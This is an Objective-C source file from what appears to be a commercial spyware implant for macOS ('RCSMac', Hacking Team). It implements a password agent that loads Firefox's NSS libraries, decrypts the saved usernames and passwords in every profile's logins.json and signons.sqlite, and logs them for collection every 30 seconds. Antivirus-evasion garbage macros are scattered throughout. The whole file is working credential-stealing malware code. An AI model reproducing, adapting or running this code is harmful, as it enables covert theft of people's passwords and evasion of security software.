core/Agents/RCSMAgentPassword.m
/*
* RCSMAgentPassword.m
* RCSMac
* Password Agent
*
*
* Created by J on 06/03/2014
* Copyright (C) HT srl 2014. All rights reserved
*
*/
#import "RCSMAgentPassword.h"
#import "RCSMCommon.h"
#import "RCSMLogger.h"
#import "RCSMAVGarbage.h"
#import <dlfcn.h>
#import <sqlite3.h>
#import "SBJson.h"
static __m_MAgentPassword *sharedAgentPassword = nil;
@interface __m_MAgentPassword (private)
- (void) _writeLog:(NSString*)hostname andUser:(NSString*)user andPassword:(NSString*)password andService:(NSString*)service;
- (void) _getFirefoxPasswordTimer:(NSTimer *)timer;
- (BOOL) _getFirefoxPassword;
- (BOOL) _initNSSLib;
- (void) _getMarkup;
- (void) _setMarkup;
@end
@implementation __m_MAgentPassword (private)
void* nss_3_lib = nil;
void* free_lib = nil;
void* soft_lib = nil;
void* nss_dbm_lib = nil;
NSSInitFunc NSS_Init = nil;
NSSShutdownFunc NSS_Shutdown = nil;
PK11SDRDecryptFunc PK11SDR_Decrypt = nil;
SECITEMZfreeItemFunc SECITEM_ZfreeItem = nil;
NSSBase64_DecodeBufferFunc NSSBase64_DecodeBuffer = nil;
BOOL nssLoaded = NO;
- (void) _getMarkup
{
markup = [[__m_MUtils sharedInstance] getPropertyWithName:[[self class] description]];
if(markup==nil)
{
// markup not found, we allocate it
markup = [NSMutableDictionary dictionaryWithCapacity: 1];
}
}
- (void) _setMarkup
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
[[__m_MUtils sharedInstance] setPropertyWithName:[[self class] description]withDictionary:markup];
[pool release];
}
- (void) _writeLog: (NSString*)resource andUser:(NSString*)user andPassword:(NSString*)password andService:(NSString*)service
{
#ifdef DEBUG_PASSWORD
infoLog(@"%@, %@, %@, %@", resource, user, password, service);
#endif
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
short unicodeNullTerminator = 0x0000;
unsigned int delimiter = LOG_DELIMITER;
// AV evasion: only on release build
AV_GARBAGE_003
NSData *resourceData = [resource dataUsingEncoding: NSUTF16LittleEndianStringEncoding];
NSData *userData = [user dataUsingEncoding:NSUTF16LittleEndianStringEncoding];
NSData *passwordData = [password dataUsingEncoding:NSUTF16LittleEndianStringEncoding];
NSData *serviceData = [service dataUsingEncoding:NSUTF16LittleEndianStringEncoding];
NSMutableData *contentData = [[NSMutableData alloc] init];
[contentData appendData:resourceData];
[contentData appendBytes:&unicodeNullTerminator length:sizeof(short)];
[contentData appendData:userData];
[contentData appendBytes:&unicodeNullTerminator length:sizeof(short)];
[contentData appendData:passwordData];
[contentData appendBytes:&unicodeNullTerminator length:sizeof(short)];
[contentData appendData:serviceData];
[contentData appendBytes:&unicodeNullTerminator length:sizeof(short)];
[contentData appendBytes: &delimiter length: sizeof(delimiter)];
#ifdef DEBUG_PASSWORD
infoLog(@"contentData: %@", contentData);
#endif
// AV evasion: only on release build
AV_GARBAGE_000
__m_MLogManager *logManager = [__m_MLogManager sharedInstance];
BOOL success = [logManager createLog: AGENT_PASSWORD
agentHeader: nil
withLogID: 0];
if (success)
{
[logManager writeDataToLog: contentData
forAgent: AGENT_PASSWORD
withLogID: 0];
// AV evasion: only on release build
AV_GARBAGE_001
[logManager closeActiveLog: AGENT_PASSWORD
withLogID: 0];
// AV evasion: only on release build
AV_GARBAGE_004
}
[contentData release];
[pool release];
return;
}
- (BOOL) _initNSSLib
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
// copy libraries from Firefox
NSArray *extensions = [NSArray arrayWithObjects:@"dylib", nil];
NSString *appPath = @"/Applications/Firefox.app/Contents/MacOS";
NSArray *dirContents = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:appPath error:nil];
if (dirContents == nil)
{
#ifdef DEBUG_PASSWORD
infoLog(@"no firefox lib dir");
#endif
[pool release];
return NO;
}
NSArray *files = [dirContents filteredArrayUsingPredicate:[NSPredicate predicateWithFormat:@"pathExtension IN %@", extensions]];
for(NSString *file in files)
{
//[NSString stringWithFormat:@"%@/%@/%@", three, two, one];
NSString *path = [NSString stringWithFormat:@"%@/%@",appPath,file];
if ([[NSFileManager defaultManager] copyItemAtPath:path toPath:file error:nil] == NO)
{
#ifdef DEBUG_PASSWORD
infoLog(@"Unable to copy lib");
#endif
[pool release];
return NO;
}
}
// AV evasion: only on release build
AV_GARBAGE_001
// load nss3 library & Co.
nss_3_lib = dlopen("libnss3.dylib", RTLD_NOW | RTLD_GLOBAL);
free_lib = dlopen("libfreebl3.dylib", RTLD_NOW | RTLD_GLOBAL);
soft_lib = dlopen("libsoftokn3.dylib", RTLD_NOW | RTLD_GLOBAL);
nss_dbm_lib = dlopen("libnssdbm3.dylib", RTLD_NOW | RTLD_GLOBAL);
// delete libraries
for(NSString *file in files)
{
if ([[NSFileManager defaultManager] removeItemAtPath:file error:nil] == NO)
{
#ifdef DEBUG_PASSWORD
infoLog(@"Unable to delete lib");
#endif
}
}
// AV evasion: only on release build
AV_GARBAGE_003
if(!free_lib || !soft_lib || !nss_3_lib || !nss_dbm_lib)
{
#ifdef DEBUG_PASSWORD
infoLog(@"unable to load lib");
#endif
[pool release];
return NO;
}
NSS_Init = (NSSInitFunc)dlsym(nss_3_lib, "NSS_Init");
NSS_Shutdown = (NSSShutdownFunc)dlsym(nss_3_lib, "NSS_Shutdown");
PK11SDR_Decrypt = (PK11SDRDecryptFunc)dlsym(nss_3_lib, "PK11SDR_Decrypt");
SECITEM_ZfreeItem = (SECITEMZfreeItemFunc)dlsym(nss_3_lib, "SECITEM_FreeItem");
NSSBase64_DecodeBuffer = (NSSBase64_DecodeBufferFunc)dlsym(nss_3_lib, "NSSBase64_DecodeBuffer");
if (!NSS_Init || !NSS_Shutdown || !PK11SDR_Decrypt || !SECITEM_ZfreeItem || !NSSBase64_DecodeBuffer) {
#ifdef DEBUG_PASSWORD
infoLog(@"Unable to init nss");
#endif
[pool release];
return NO;
}
[pool release];
return YES;
}
- (void) _getFirefoxPasswordTimer: (NSTimer *)timer
{
[self _getFirefoxPassword];
}
- (BOOL) _getFirefoxPassword
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
// chekc if nss libs have been already loaded
if (nssLoaded == NO)
{
BOOL res = [self _initNSSLib];
if (res == YES)
{
nssLoaded = YES;
}
else
{
[pool release];
return NO;
}
}
// AV evasion: only on release build
AV_GARBAGE_000
// profiles usually are in: /Users/<user>/Library/Application Support/Firefox/Profiles/
NSArray *paths = NSSearchPathForDirectoriesInDomains(NSApplicationSupportDirectory, NSUserDomainMask, YES);
NSString *applicationSupportDirectory = [paths firstObject];
NSString *firefoxProfiles = [NSString stringWithFormat:@"%@/%@", applicationSupportDirectory, @"/Firefox/Profiles"];
NSArray *profiles = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:firefoxProfiles error:nil];
if (profiles == nil) {
[pool release];
return NO;
}
//calculate time range
//number of seconds elapsed since 00:00 hours, Jan 1, 1970 UTC (i.e., a unix timestamp).
time_t begin, end;
NSNumber *date = [markup objectForKey:MARKUP_KEY];
if (date == nil)
{
begin = 1;
#ifdef DEBUG_PASSWORD
infoLog(@"begin =1");
#endif
}
else
{
begin = [date intValue];
#ifdef DEBUG_PASSWORD
infoLog(@"begin = markup");
#endif
}
end = time(NULL); // end time range is now
[markup setObject:[NSNumber numberWithInt:end] forKey:MARKUP_KEY];
for(NSString *profile in profiles)
{
NSString *profileDir = [NSString stringWithFormat:@"%@/%@", firefoxProfiles, profile];
const char *profileDirUTF8 = [profileDir UTF8String];
SECStatus result = NSS_Init(profileDirUTF8);
if (result != SECSuccess)
{
#ifdef DEBUG_PASSWORD
infoLog(@"NSS_Init failed");
#endif
continue;
}
// first, look into logins.json
NSString *loginFile = [NSString stringWithFormat:@"%@/%@", profileDir, @"logins.json"];
NSData *loginContent = [NSData dataWithContentsOfFile:loginFile options:0 error:nil];
if (loginContent != NULL) {
SBJsonParser *jsonParser = [[SBJsonParser alloc] init];
NSMutableDictionary *jsonDict = [jsonParser objectWithData:loginContent];
NSMutableArray *logins = [jsonDict objectForKey:@"logins"];
for (NSDictionary *login in logins)
{
double timePasswordChanged = [[login objectForKey:@"timePasswordChanged"] doubleValue];
if (timePasswordChanged/1000 < begin) {
#ifdef DEBUG_PASSWORD
infoLog(@"SKIP LOG");
#endif
continue;
}
NSString *hostname = [login objectForKey:@"hostname"];
NSString *encryptedUsername = [login objectForKey:@"encryptedUsername"];
NSString *encryptedPassword = [login objectForKey:@"encryptedPassword"];
const /*unsigned*/ char *charEncUsr = (const /*unsigned*/ char *) [encryptedUsername UTF8String];
const /*unsigned*/ char *charEncPwd = (const /*unsigned*/ char *) [encryptedPassword UTF8String];
SECItem *secuser = NULL, *secpass = NULL, user = { siBuffer, NULL, 0 }, pass = { siBuffer, NULL, 0 };
if(!(secuser = NSSBase64_DecodeBuffer(NULL, NULL, charEncUsr, strlen(charEncUsr))))
{
#ifdef DEBUG_PASSWORD
infoLog(@"NSSBase64 failed");
#endif
continue;
}
if(PK11SDR_Decrypt(secuser, &user, NULL) != SECSuccess)
{
#ifdef DEBUG_PASSWORD
infoLog(@"Decrypt failed");
#endif
continue;
}
if(!(secpass = NSSBase64_DecodeBuffer(NULL, NULL, charEncPwd, strlen(charEncPwd))))
{
#ifdef DEBUG_PASSWORD
infoLog(@"NSSBase64 failed 2");
#endif
continue;
}
if(PK11SDR_Decrypt(secpass, &pass, NULL) != SECSuccess)
{
#ifdef DEBUG_PASSWORD
infoLog(@"Decrypt failed 2");
#endif
continue;
}
NSData *userData = [[NSData alloc] initWithBytes:user.data length:user.len];
NSString *userString = [[NSString alloc] initWithData:userData encoding:NSUTF8StringEncoding];
NSData *passData = [[NSData alloc] initWithBytes:pass.data length:pass.len];
NSString *passString = [[NSString alloc] initWithData:passData encoding:NSUTF8StringEncoding];
// AV evasion: only on release build
AV_GARBAGE_000
NSArray *components = [profile componentsSeparatedByString:@"."];
NSString *service = [NSString stringWithFormat:@"%@/%@", @"Firefox", [components objectAtIndex:1]];
[self _writeLog:hostname andUser:userString andPassword:passString andService:service];
[self _setMarkup];
[passString release];
[passData release];
[userString release];
[userData release];
}
[jsonParser release];
}
// then, look into signons.sqlite
sqlite3 *db;
NSString *dbDir = [NSString stringWithFormat:@"%@/%@", profileDir, @"signons.sqlite"];
const char *dbDirUTF8 = [dbDir UTF8String];
if (sqlite3_open(dbDirUTF8, &db))
{
sqlite3_close(db);
NSS_Shutdown();
#ifdef DEBUG_PASSWORD
infoLog(@"Unable to open db");
#endif
continue;
}
sqlite3_stmt *stmt = NULL;
char *query = "SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins WHERE timePasswordChanged/1000 BETWEEN ? AND ?";
if(sqlite3_prepare_v2(db, query, strlen(query) + 1, &stmt, NULL) != SQLITE_OK)
{
sqlite3_close(db);
NSS_Shutdown();
#ifdef DEBUG_PASSWORD
infoLog(@"Unable to prepare");
#endif
continue;
}
const unsigned char *encuser, *encpass, *hostname;
SECItem *secuser = NULL, *secpass = NULL, user = { siBuffer, NULL, 0 }, pass = { siBuffer, NULL, 0 };
// AV evasion: only on release build
AV_GARBAGE_003
if(sqlite3_bind_int(stmt, 1, (int)begin) != SQLITE_OK)
{
#ifdef DEBUG_PASSWORD
infoLog(@"bind 1 failed");
#endif
sqlite3_close(db);
NSS_Shutdown();
continue;
}
if(sqlite3_bind_int(stmt, 2, (int)end) != SQLITE_OK)
{
#ifdef DEBUG_PASSWORD
infoLog(@"bind 2 failed");
#endif
sqlite3_close(db);
NSS_Shutdown();
continue;
}
while(sqlite3_step(stmt) == SQLITE_ROW) {
do{
hostname = sqlite3_column_text(stmt,0);
encuser = sqlite3_column_text(stmt, 1);
if(!(secuser = NSSBase64_DecodeBuffer(NULL, NULL, encuser, strlen(encuser))))
{
#ifdef DEBUG_PASSWORD
infoLog(@"NSSBase64 failed");
#endif
break;
}
if(PK11SDR_Decrypt(secuser, &user, NULL) != SECSuccess)
{
#ifdef DEBUG_PASSWORD
infoLog(@"Decrypt failed");
#endif
break;
}
encpass = sqlite3_column_text(stmt, 2);
if(!(secpass = NSSBase64_DecodeBuffer(NULL, NULL, encpass, strlen(encpass))))
{
#ifdef DEBUG_PASSWORD
infoLog(@"NSSBase64 failed 2");
#endif
break;
}
if(PK11SDR_Decrypt(secpass, &pass, NULL) != SECSuccess)
{
#ifdef DEBUG_PASSWORD
infoLog(@"Decrypt failed 2");
#endif
break;
}
NSData *userData = [[NSData alloc] initWithBytes:user.data length:user.len];
NSString *userString = [[NSString alloc] initWithData:userData encoding:NSUTF8StringEncoding];
NSData *hostData = [[NSData alloc] initWithBytes:hostname length:strlen(hostname)];
NSString *hostString = [[NSString alloc] initWithData:hostData encoding:NSUTF8StringEncoding];
NSData *passData = [[NSData alloc] initWithBytes:pass.data length:pass.len];
NSString *passString = [[NSString alloc] initWithData:passData encoding:NSUTF8StringEncoding];
// AV evasion: only on release build
AV_GARBAGE_000
NSArray *components = [profile componentsSeparatedByString:@"."];
NSString *service = [NSString stringWithFormat:@"%@/%@", @"Firefox", [components objectAtIndex:1]];
[self _writeLog:hostString andUser:userString andPassword:passString andService:service];
[self _setMarkup];
[passString release];
[passData release];
[hostString release];
[hostData release];
[userString release];
[userData release];
}while(0);
}
if(stmt)
{
sqlite3_finalize(stmt);
stmt = NULL;
}
if(db)
{
sqlite3_close(db);
db=NULL;
}
result = NSS_Shutdown();
if (result != SECSuccess)
{
#ifdef DEBUG_PASSWORD
infoLog(@"nss shutdown failed!");
#endif
}
}
[self _setMarkup];
[pool release];
return YES;
}
@end
@implementation __m_MAgentPassword
#pragma mark -
#pragma mark Class and init methods
#pragma mark -
+ (__m_MAgentPassword *)sharedInstance
{
@synchronized(self)
{
if (sharedAgentPassword == nil)
{
//
// Assignment is not done here
//
[[self alloc] init];
}
}
return sharedAgentPassword;
}
+ (id)allocWithZone: (NSZone *)aZone
{
@synchronized(self)
{
if (sharedAgentPassword == nil)
{
sharedAgentPassword = [super allocWithZone: aZone];
//
// Assignment and return on first allocation
//
return sharedAgentPassword;
}
}
// On subsequent allocation attemps return nil
return nil;
}
- (id)copyWithZone: (NSZone *)aZone
{
return self;
}
- (unsigned)retainCount
{
// Denotes an object that cannot be released
return UINT_MAX;
}
- (id)retain
{
return self;
}
- (void)release
{
// Do nothing
}
- (id)autorelease
{
return self;
}
#pragma mark -
#pragma mark Agent Formal Protocol Methods
#pragma mark -
- (BOOL)stop
{
#ifdef DEBUG_PASSWORD
infoLog(@"module stopped");
#endif
int internalCounter = 0;
// AV evasion: only on release build
AV_GARBAGE_000
[mConfiguration setObject: AGENT_STOP
forKey: @"status"];
// AV evasion: only on release build
AV_GARBAGE_001
while (![[mConfiguration objectForKey: @"status"] isEqual: AGENT_STOPPED]
&& internalCounter <= MAX_STOP_WAIT_TIME)
{
// AV evasion: only on release build
AV_GARBAGE_004
internalCounter++;
usleep(100000);
}
// AV evasion: only on release build
AV_GARBAGE_005
return YES;
}
- (void)start
{
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
#ifdef DEBUG_PASSWORD
infoLog(@"module started");
#endif
// AV evasion: only on release build
AV_GARBAGE_002
[mConfiguration setObject: AGENT_RUNNING forKey: @"status"];
[self _getMarkup];
//first run
[self _getFirefoxPassword];
NSRunLoop *currentRunLoop = [NSRunLoop currentRunLoop];
NSTimer *timer = nil;
timer = [NSTimer scheduledTimerWithTimeInterval: 30 target:self selector:@selector(_getFirefoxPasswordTimer:) userInfo:nil repeats:YES];
[currentRunLoop addTimer: timer forMode: NSRunLoopCommonModes];
while (![[mConfiguration objectForKey: @"status"] isEqual: AGENT_STOP]
&& ![[mConfiguration objectForKey: @"status"] isEqual: AGENT_STOPPED])
{
NSAutoreleasePool *inner = [[NSAutoreleasePool alloc] init];
// AV evasion: only on release build
AV_GARBAGE_007
if (gOSMajor == 10 && gOSMinor >= 6)
[currentRunLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
else
sleep(1);
// AV evasion: only on release build
AV_GARBAGE_005
[inner release];
}
if (timer != nil)
{
[timer invalidate];
}
if ([[mConfiguration objectForKey: @"status"] isEqualToString: AGENT_STOP])
{
// AV evasion: only on release build
AV_GARBAGE_006
[mConfiguration setObject: AGENT_STOPPED
forKey: @"status"];
// AV evasion: only on release build
AV_GARBAGE_003
}
// AV evasion: only on release build
AV_GARBAGE_002
[outerPool release];
}
- (BOOL)resume
{
#ifdef DEBUG_PASSWORD
infoLog(@"module resumed");
#endif
return YES;
}
#pragma mark -
#pragma mark Getter/Setter
#pragma mark -
- (NSMutableDictionary *)mConfiguration
{
// AV evasion: only on release build
AV_GARBAGE_000
return mConfiguration;
}
- (void)setAgentConfiguration: (NSMutableDictionary *)aConfiguration
{
// AV evasion: only on release build
AV_GARBAGE_009
if (aConfiguration != mConfiguration)
{
// AV evasion: only on release build
AV_GARBAGE_000
[mConfiguration release];
// AV evasion: only on release build
AV_GARBAGE_001
mConfiguration = [aConfiguration retain];
}
}
@end